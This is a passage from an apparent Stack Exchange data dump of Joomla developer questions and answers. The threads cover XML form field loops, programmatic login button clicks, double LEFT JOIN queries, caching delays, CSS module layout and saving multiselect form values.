  <row Id="9827" PostTypeId="1" AcceptedAnswerId="9829" CreationDate="2015-05-07T04:11:22.240" Score="4" ViewCount="12512" Body="&lt;p&gt;I have an XML file like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;     &amp;lt;field name=&quot;age&quot; type=&quot;list&quot;&#xA;        default=&quot;1&quot;&#xA;        description=&quot;age&quot;&#xA;        label=&quot;Age&quot;&#xA;        size=&quot;1&quot;&#xA;    &amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to repeat the option for a fixed number of times. How can I write a loop to repeat the option? Is it possible to write a loop?&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2015-06-26T04:23:07.113" Title="How to write a loop in XML?" Tags="|joomla-3.x|xml|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9829" PostTypeId="2" ParentId="9827" CreationDate="2015-05-07T06:37:24.683" Score="7" Body="&lt;p&gt;Currently you can perfectly use &lt;a href=&quot;https://docs.joomla.org/Integer_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Integer form field&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The integer form field type provides a select box with a range of integer values.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;  name=&quot;age&quot; &#xA;  type=&quot;integer&quot; &#xA;  default=&quot;1&quot; &#xA;  label=&quot;Age&quot; &#xA;  description=&quot;age&quot; &#xA;  first=&quot;1&quot; &#xA;  last=&quot;100&quot; &#xA;  step=&quot;1&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;first&lt;/strong&gt; would be minimum age and &lt;strong&gt;last&lt;/strong&gt; would be maximum age.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ALTERNATIVE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to create custom form field. This gives you more flexibility if you want to extend your field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/[name of your component]/models/fields/Age.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldAge extends JFormField {&#xA;&#xA;  protected $type = 'Age';&#xA;&#xA;  // getLabel() left out, no need to overwrite it (at least for this example)&#xA;&#xA;  public function getInput() {&#xA;&#xA;    // Define min and max ages, if not set by field, defaults to 1 and 100.&#xA;    $minAge = isset($this-&amp;gt;element['min']) ? $this-&amp;gt;element['min'] : 1;&#xA;    $maxAge = isset($this-&amp;gt;element['max']) ? $this-&amp;gt;element['max'] : 100;&#xA;&#xA;    $html = '&amp;lt;select id=&quot;'.$this-&amp;gt;id.'&quot; name=&quot;'.$this-&amp;gt;name.'&quot;&amp;gt;';&#xA;&#xA;    // Loop&#xA;    for ($i = $minAge; $i &amp;lt;= $maxAge; $i++) { &#xA;      $html .= '&amp;lt;option value=&quot;'.$i.'&quot;&amp;gt;'.$i.'&amp;lt;/option&amp;gt;';&#xA;    }&#xA;&#xA;    $html .= '&amp;lt;/select&amp;gt;';&#xA;&#xA;    return $html;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load your fields in your extension main file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JForm::addFieldPath(JPATH_COMPONENT . '/models/fields'); // Change the path for your needs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In addition, you may need to add the field path to the parent :&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset addfieldpath=&quot;/administrator/components/&amp;lt;component name&amp;gt;/models/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, change the path for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, use your custom field type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;  name=&quot;age&quot;&#xA;  type=&quot;Age&quot;&#xA;  description=&quot;age&quot;&#xA;  label=&quot;Age&quot;&#xA;  min=&quot;18&quot;&#xA;  max=&quot;90&quot;&#xA;  size=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more about &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;creating a custom form field type&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-06-25T08:42:38.877" LastActivityDate="2015-06-25T08:42:38.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9830" PostTypeId="1" AcceptedAnswerId="9894" CreationDate="2015-05-07T07:43:29.580" Score="1" ViewCount="906" Body="&lt;p&gt;For testing purposes on joomla default login file here:  (/templates/theme718/html/com_users/login/default_login.php), I run the following successfully to generate the username and change the language&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    ....&#xA;    jQuery('input#username').val('&quot;+username+&quot;');&#xA;    jQuery('#lang option[value=zh-TW]').attr('selected','selected');&#xA;    jQuery('#lang').change();&#xA;    ...&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code generate username into input username field, changes the language from select box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing I could not perform following the same logic. That is, triggering 'login' button to be programmatically 'clicked'. I tried the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#login').trigger('click');&#xA;jQuery('submit#login').click();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing fired. I have this line in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;submit&quot; style=&quot;float:right&quot; class=&quot;button loginbtn&quot;&quot;&amp;gt;&amp;lt;?php echo JText::_('JLOGIN'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question, how to fire click event on login button.&lt;/p&gt;&#xA;" OwnerUserId="3574" LastActivityDate="2015-05-12T09:14:52.543" Title="Click login button programmatically" Tags="|joomla-3.x|php|javascript|jquery|login|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9831" PostTypeId="2" ParentId="9830" CreationDate="2015-05-07T09:06:49.877" Score="4" Body="&lt;p&gt;You need to trigger submit on form for login user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: did not see You don't have a login id in your div. so try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.loginbtn').trigger('click');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if this not work for you try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.loginbtn').parents('form').submit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5203" LastEditorUserId="168" LastEditDate="2015-05-07T11:33:51.320" LastActivityDate="2015-05-07T11:33:51.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9833" PostTypeId="1" AcceptedAnswerId="9836" CreationDate="2015-05-07T10:21:05.720" Score="5" ViewCount="3013" Body="&lt;p&gt;I have two tables: #__records and #__parents. In the first table some records may have parent records that are stored in the same table but relations between childs and parents are stored in the second table. For example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__records:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  name&#xA;1   Child1&#xA;2   Child2&#xA;3   Parent1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__parents&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  child parent&#xA;1     2    3&#xA;2     1    3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.id, a.name')&#xA;    -&amp;gt;from('#__records as a');&#xA;$query-&amp;gt;select('b.parent as parentid');&#xA;$query-&amp;gt;join('LEFT', '#__parents AS b ON b.child = a.id');&#xA;$db-&amp;gt;setQuery($query);&#xA;return $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns the names of records (a.name) but with IDs of parents (b.parent). I need the second &quot;left join&quot; or another way to get the names of parents instead of their IDs. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select c.name as parentname from #__records as c where c.id=b.parent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-07T14:45:41.040" LastActivityDate="2022-11-30T10:58:49.173" Title="Two left join in one query to Joomla database" Tags="|joomla-3.x|development|joomla-api|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9835" PostTypeId="2" ParentId="9827" CreationDate="2015-05-07T14:46:20.483" Score="1" Body="&lt;p&gt;Although Rene's solution is much more elegant, I'd like to add another alternative. Instead of creating a loop inside your XML file (which I doubt is possible), you can generate the XML text using any other programming language, like PHP, and then simply copy/paste the content into your XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example for your Age field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;  &amp;lt;title&amp;gt;XML Loop&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;textarea rows=&quot;50&quot; cols=&quot;100&quot;&amp;gt;&#xA;&amp;lt;field name=&quot;age&quot; type=&quot;list&quot;&#xA;        default=&quot;1&quot;&#xA;        description=&quot;age&quot;&#xA;        label=&quot;Age&quot;&#xA;        size=&quot;1&quot;&#xA;    &amp;gt;&#xA;&amp;lt;?php &#xA;    for ($x = 1; $x &amp;lt;= 100; $x++) { // Change values according to your desired range&#xA;        echo &quot;        &amp;lt;option value=\&quot;$x\&quot;&amp;gt;$x&amp;lt;/option&amp;gt; \n&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output the &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; tag with values from 1 to 100, inside a text-area. The code can then be copied into your XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe not that elegant, but it definitely works...&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-07T14:46:20.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9836" PostTypeId="2" ParentId="9833" CreationDate="2015-05-07T15:25:13.940" Score="8" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.id, a.name, c.id as parent_id, c.name as parent_name')&#xA;    -&amp;gt;from('#__records as a');&#xA;$query-&amp;gt;select('b.parent as parentid');&#xA;$query-&amp;gt;join('LEFT', '#__parents AS b ON b.child = a.id');&#xA;$query-&amp;gt;join('LEFT', '#__records AS c ON b.parent = c.id');&#xA;$db-&amp;gt;setQuery($query);&#xA;return $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You definitely can do multiple left joins. Just alias the table to a different alias ('c' in this case) and then have the select also alias the columns they aren't the same as what you are pulling for the child.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-05-07T15:25:13.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9837" PostTypeId="2" ParentId="9781" CreationDate="2015-05-07T16:54:20.240" Score="2" Body="&lt;p&gt;It's simple, main controller of application remember arguments for subcontrollers, so model get same Params from controller. Documentation get answers too ☺ &lt;a href=&quot;https://docs.joomla.org/JController_and_its_subclass_usage_overview&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/JController_and_its_subclass_usage_overview&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards &lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-07T16:54:20.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9838" PostTypeId="2" ParentId="9306" CreationDate="2015-05-07T18:27:55.673" Score="2" Body="&lt;p&gt;It's hard to pretend VM3 is prestashop, but imagine you need to do whole custom work to change all models, views, etc. change database tables. I'm professional programmer and if you come to me the price will be higher : ) Reconsider using joomla, i'm not saying Joomla / VM3 is bad, but still hardcore gaming need hardcore gaming pc, hardcore selling needs software for hardcore selling, cache, scaling etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-07T18:27:55.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9839" PostTypeId="2" ParentId="9833" CreationDate="2015-05-07T18:29:55.940" Score="0" Body="&lt;p&gt;If you need to do &amp;quot;many to many&amp;quot; connections it's better to catch table A and B into PHP and then do the operators, but if you need only if A table is relative to C based on B table, the other answer is good ; )&lt;/p&gt;&#xA;" OwnerUserId="5203" LastEditorUserId="9485" LastEditDate="2022-11-30T10:58:49.173" LastActivityDate="2022-11-30T10:58:49.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9840" PostTypeId="2" ParentId="9306" CreationDate="2015-05-07T19:54:46.777" Score="1" Body="&lt;p&gt;You could also have a look at the &lt;a href=&quot;http://www.hikashop.com/extensions/hikamarket-multi-vendor.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hikashop Multivendor&lt;/strong&gt;&lt;/a&gt; extension. To be honest I didn't pay full attention to understand your exact requirements, but I think it worths checking the extension and get in touch with the developers to ask them about what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something else that it could also do the job of &lt;strong&gt;multi-shops/sites&lt;/strong&gt;, is to setup a multi-sites project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 most popular multi-sites extensions are &lt;strong&gt;JMS&lt;/strong&gt; by &lt;a href=&quot;http://jms2win.com&quot; rel=&quot;nofollow&quot;&gt;jms2win.com&lt;/a&gt; and &lt;strong&gt;Mighty-Sites&lt;/strong&gt; by &lt;a href=&quot;http://alterbrains.com/joomla-extensions/administration/multisites-manager&quot; rel=&quot;nofollow&quot;&gt;Alterbrains&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you seem to want to have only 1 single database, then &lt;strong&gt;MightySites&lt;/strong&gt; might be the right solution for you, as it allows to share database tables between sites. As far as I know, both VirtueMart and Hikashop are supported in db sharing on this extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, get in touch with the developers and ask them about compatibility with the e-shop extension and your requirements.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-07T19:54:46.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9841" PostTypeId="1" AcceptedAnswerId="9842" CreationDate="2015-05-08T00:50:55.063" Score="3" ViewCount="82" Body="&lt;p&gt;I've seen from others that Joomla is supposed to make changes to the live site as they happen (or at least when you save.) For some reason, for me Joomla takes 10 to 15 minutes to update all of the changes. My Cache settings are Cache - off  Cache Handler - file  and Cache time - 15. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of why Joomla would do this or could it be something with my server host? I have tried on several different computers and several different web browsers if that helps narrow things down.&lt;/p&gt;&#xA;" OwnerUserId="4132" LastActivityDate="2015-05-08T07:10:23.540" Title="Joomla takes 10 to 15 minutes to update site" Tags="|update|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-12T06:50:52.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="9842" PostTypeId="2" ParentId="9841" CreationDate="2015-05-08T03:07:40.720" Score="4" Body="&lt;p&gt;In the admin view, go to Extensions &gt; Plugins menu and search/find the system cache plugin.  My guess is it's active, and regardless of whether you've enabled cache in your global parameters; if this plugin is active Joomla will enable some core caching functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable this system cache plugin and retest by performing an edit, saving and checking the change immediately populates on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2015-05-08T07:10:23.540" LastActivityDate="2015-05-08T07:10:23.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9843" PostTypeId="1" CreationDate="2015-05-08T07:09:29.337" Score="0" ViewCount="404" Body="&lt;p&gt;last week Facebook was not fetching post image, then suddenly it start fetching after 48hrs. Yesterday another issue appeared which is;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I share link on fb it give me the choice between 3 images instead of fetching real image. I have not changed anything in settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://developers.facebook.com/tools/debug/og/object/?q=http%3A%2F%2Fwww.livemedia24.com%2Fvideos%2F7730-imran-khan-vs-altaf-hussain-funny-rap-battle&quot; rel=&quot;nofollow&quot;&gt;debug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.4, and Easy like and Share module. &lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="1863" LastEditDate="2015-05-08T07:18:30.860" LastActivityDate="2015-05-08T07:18:30.860" Title="og:image could not be downloaded or is too small" Tags="|joomla-3.4|facebook|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9844" PostTypeId="2" ParentId="9328" CreationDate="2015-05-08T11:22:18.273" Score="2" Body="&lt;p&gt;This is usually a directory permissions issue with the &lt;a href=&quot;https://joomla.stackexchange.com/questions/4087/joomla-tmp-directory-what-is-it-for-and-can-i-delete-its-content&quot;&gt;&lt;strong&gt;tmp folder&lt;/strong&gt;&lt;/a&gt;.&#xA;When installing extensions, the tmp folder is used by the extensions installer, to extract the uploaded archived file. Therefore, the folder needs to exist and be writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good place to find out if your Joomla folders are writable is by checking in the:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System Information -&gt; Directory Permissions.&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;In Joomla 2.5 is under the Site Menu item.&lt;/li&gt;&#xA;  &lt;li&gt;in Joomla 3- under the System menu item.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generally, directory permissions issues can occur either by the actual permissions on a given folder, which can be wrong owner or read/write values, or if a specified directory doesn't exist at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the tmp folder, make sure that there is the correct path folder defined in Joomla Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cPanel hosting this usually is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;/home/username/tmp&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-08T11:22:18.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9845" PostTypeId="1" AcceptedAnswerId="9855" CreationDate="2015-05-08T11:50:56.473" Score="1" ViewCount="2504" Body="&lt;p&gt;I'm trying to place these two modules&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QU0uC.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;side by side. They are in the same position and the proper ordering. I've also created a new module suffix for the width of the modules. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; .box.color3 .content {&#xA;   clear: none!important;&#xA;   float: left;&#xA;   width: 50%;&#xA;}&#xA;&#xA;.box.color3 .header {&#xA;   color: #0090BE;&#xA;&#xA;}&#xA;&#xA;.box.border.color3 {&#xA;clear: none!important;&#xA;   float: left;&#xA;   width: 50%;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I'm running the site locally so I couldn't provide the link of the website.&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2015-05-09T00:54:16.213" Title="Placing two modules side by side" Tags="|module|overrides|css|template-override|module-display|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9846" PostTypeId="1" AcceptedAnswerId="10126" CreationDate="2015-05-08T12:02:05.877" Score="0" ViewCount="538" Body="&lt;p&gt;I've installed the grid gk5 module and I made a simple layout&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VHFjO.png&quot; alt=&quot;1&quot;&gt;&#xA;As I understood reading the module documentation, I should be able to see new module positions when editing/creating a new module, but that isn't the case. What is the problem there, or did I not understand the concept of the module correctly?&#xA;Also, I'm running Joomla 3, on localhost currently, and the template I use is the News template from Gavick.&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2016-11-03T20:32:13.653" Title="Grid GK5 module not showing new positions" Tags="|module|joomla-3.3.x|module-display|positions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9847" PostTypeId="2" ParentId="9845" CreationDate="2015-05-08T12:14:29.350" Score="0" Body="&lt;p&gt;It's hard to tell, without knowing the html of the page. The css you provided means nothing at its own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a few things to consider:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in the case that the css you created is proper to left-align 2 elements, it doesn't mean it would work everywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be that other css rules take precedence over your rules,&#xA;or that you are not applying your rules to the proper classes - wrong using of css selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, you will need to float-left, or display-inline the 2 wrapper elements of your modules' content, which shall be the child elements inside the wrapper-element of the module position.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart of the floating, you need to make sure that their total widths including margins, borders, paddings is max 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use your browser's inspector to find out what's going on with your mark-up and css.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-08T12:14:29.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9848" PostTypeId="2" ParentId="7297" CreationDate="2015-05-08T12:57:11.167" Score="1" Body="&lt;p&gt;I guess submenu is a module - &lt;strong&gt;Modules&lt;/strong&gt; are displayed in specific pages, by assigning them on &lt;strong&gt;menu items&lt;/strong&gt;. &#xA;It's possible that you don't have a menu-item for the Product Details Page - if you do, then you need to assign the module to this menu-item as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might also worth trying to use the &quot;&lt;strong&gt;exclude assignment&lt;/strong&gt;&quot; option for your module:&lt;br&gt;&#xA;Instead of using &quot;&lt;strong&gt;show on the selected menu items&lt;/strong&gt;&quot;, use &quot;&lt;strong&gt;show on all menu items except the selected&lt;/strong&gt;&quot;. Of course, you will have to select all the menu items that you don't want the module to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things that could help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check to see, if Joomshopping is giving you options for using specific menu-item id for the product details page. If something like this exist, make sure you have a menu item created (even hidden) to hold the product-details page, and assign on this menu-item the modules you want to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Advanced Module Manager&lt;/strong&gt;&lt;/a&gt; by NoNumber extends the core Moduler Manager, providing many more options for Module assignments, which may come handy in your case.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-08T12:57:11.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9849" PostTypeId="1" AcceptedAnswerId="9853" CreationDate="2015-05-08T14:18:34.447" Score="3" ViewCount="270" Body="&lt;p&gt;I want to write my own custom profile plugin, but the problem is that the available tutorials (&lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile/copy-user-profile-plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) are a little outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm looking at the &lt;code&gt;setFieldAttribute()&lt;/code&gt;, the last argument is &lt;code&gt;$group&lt;/code&gt;, and the documentation says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;string  $group      The optional dot-separated form group path on which to find the field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And a usage example is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('address1', 'description', 'PLG_USER_PROFILE_EI_FILL_FIELD_DESC_SITE', 'profile');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to change the value to the name of my plugin or is it the same (&lt;code&gt;'profile'&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-05-08T18:31:26.437" Title="How to create a custom profile plugin" Tags="|joomla-3.x|plugin|joomla-api|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9850" PostTypeId="1" AcceptedAnswerId="9852" CreationDate="2015-05-08T14:27:46.060" Score="3" ViewCount="681" Body="&lt;p&gt;I have an admin form with a multiselect form field. Hitting save is passing this as an array and I would like to convert these array values to a comma delimited string before saving to the database. To be honest, I'm not sure how to access this property from my controller's save() method in order to perform the array to string conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1e0E.png&quot; alt=&quot;form data i want to access and modify&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I either end up with a completely bank page, or an error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error&#xA;Save failed with the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No error listed. I can only assume this is because I am passing an array to a DB field which is expecting a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have now. No doubt this is very far off the mark. I'm at the point where I'm just taking shots in the dark, hoping to get lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit: ok so this is performing the array to string conversion but doesn't seem to be setting the value before submitting to the db. still not quite there but getting closer, i think.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save($key = null, $urlVar = null) {&#xA;    // get database and query objects&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // get submitted form data&#xA;    $data = JFactory::getApplication();&#xA;    $array = $data-&amp;gt;input-&amp;gt;post-&amp;gt;getArray();&#xA;&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    print_r($array);&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;    // Convert Instructor(s) field to an array after being fetched from the database&#xA;    if (is_array($array['jform']['instructors'])){&#xA;        $instructors = implode(',', $array['jform']['instructors']);&#xA;    }&#xA;    unset($array['jform']['instructors']);&#xA;    $array['jform']['instructors'] = $instructors;&#xA;    echo $array['jform']['instructors'];&#xA;    // run the parent's save function&#xA;    parent::save($key = null, $urlVar = 